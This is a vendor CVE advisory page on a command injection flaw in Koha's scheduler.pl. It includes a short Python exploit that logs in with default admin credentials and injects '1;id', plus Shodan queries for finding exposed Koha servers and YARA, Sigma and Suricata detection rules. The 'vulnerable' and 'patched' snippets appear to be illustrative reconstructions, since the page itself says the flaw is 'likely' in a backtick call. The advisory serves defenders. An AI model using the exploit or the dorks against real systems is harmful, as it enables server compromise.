☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Koha logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30076

CVE-2025-30076 Command Injection in Koha
📅 PUBLISHED: 2025-03-16 00:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.5× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30076 is a critical command injection vulnerability in the Koha open-source Integrated Library System (ILS). An authenticated administrator can execute arbitrary operating system commands by injecting shell metacharacters into the report parameter of the tools/scheduler.pl script. This allows for full server compromise, data exfiltration, and lateral movement within the library's network. The vulnerability is unpatched in versions prior to 24.11.02, and a proof-of-concept is publicly available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Koha is a Perl-based application distributed as source code or via packages. The vulnerability exists in the core application code, not in a third-party dependency. However, administrators should verify the integrity of their Koha installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.7 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The high privileges required reduce the base score, but the impact is severe. An attacker who gains admin credentials (e.g., via phishing or weak passwords) can fully compromise the server.

Deep Dive & Mechanics

The vulnerability resides in tools/scheduler.pl, a script used to schedule and manage reports. The script accepts a report parameter that is passed to a shell command without proper sanitization. Specifically, the parameter is likely used in a system() or backtick call, allowing an attacker to inject commands using characters like ;, |, &&, or backticks.

Root Cause: The application fails to escape or validate user-supplied input before passing it to the operating system shell.

Attack Flow:

  1. Attacker authenticates as an admin.
  2. Attacker sends a crafted POST/GET request to /tools/scheduler.pl with a malicious report parameter.
  3. The injected command executes with the privileges of the web server (typically www-data or koha).
  4. Attacker gains remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.11.02):

# tools/scheduler.pl (simplified)
my $report = $cgi->param('report');
my $output = `run_report.pl $report`;  # Command injection

Patched Code (24.11.02+):

# tools/scheduler.pl (simplified)
use Koha::Utils qw(quote_shell);
my $report = $cgi->param('report');
my $safe_report = quote_shell($report);
my $output = `run_report.pl $safe_report`;  # Properly escaped

The patch uses a dedicated quoting function to ensure shell metacharacters are treated as literals.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Koha instance (version < 24.11.02)
  • Admin credentials (e.g., admin:admin)

Exploit (Python):

import requests

target = "http://target-koha:8080"
admin_user = "admin"
admin_pass = "admin"

# Login
session = requests.Session()
login_data = {"userid": admin_user, "password": admin_pass, "branch": "CPL"}
session.post(f"{target}/cgi-bin/koha/mainpage.pl", data=login_data)

# Command injection payload
payload = "1;id"
exploit_url = f"{target}/cgi-bin/koha/tools/scheduler.pl?report={payload}"

response = session.get(exploit_url)
print(response.text)

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Hardening)

Detection Steps:

  1. Monitor web server logs for requests to /tools/scheduler.pl with suspicious parameters (e.g., containing ;, |, &).
  2. Use the YARA/Sigma rules below.
  3. Enable WAF rules to block shell metacharacters in the report parameter.

Hardening:

  • Upgrade to Koha 24.11.02 immediately.
  • Restrict admin access to trusted IPs.
  • Implement multi-factor authentication for admin accounts.
  • Run Koha with minimal privileges (e.g., dedicated koha user).

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /cgi-bin/koha/tools/scheduler.pl with report parameter containing shell metacharacters.
  • File System: Unexpected files in /tmp/ or web root (e.g., /var/www/koha/).
  • Process: Unusual child processes spawned by Apache/Nginx (e.g., id, nc, bash).
  • Logs: Apache/Nginx access logs showing report=1;id or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_30076_Koha_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-30076 in Koha"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30076"
    strings:
        $scheduler = "tools/scheduler.pl"
        $shell_chars = /[;|&`$()]/
    condition:
        $scheduler and #shell_chars > 2
}

Sigma Rule

title: CVE-2025-30076 Koha Command Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Koha scheduler with shell metacharacters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'tools/scheduler.pl'
        cs-uri-query|re: 'report=.*[;|&`$()].*'
    condition: selection
falsepositives:
    - Legitimate admin use of complex report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30076 Koha Command Injection Attempt"; flow:to_server,established; content:"/tools/scheduler.pl"; http_uri; pcre:"/report=[^&]*[;|&`$()]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  1. Upgrade to Koha 24.11.02 or later.
  2. If upgrade is not possible, apply a virtual patch using a WAF to block shell metacharacters in the report parameter.
  3. Review admin accounts and revoke unnecessary privileges.

Long-term:

  • Implement a secure coding policy that mandates input validation and output encoding.
  • Conduct regular security audits and penetration tests.
  • Monitor the Koha security mailing list for future advisories.

Valters IT
Securing Your Digital Infrastructure

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Koha"
http.html:"koha-tmpl"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30076/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.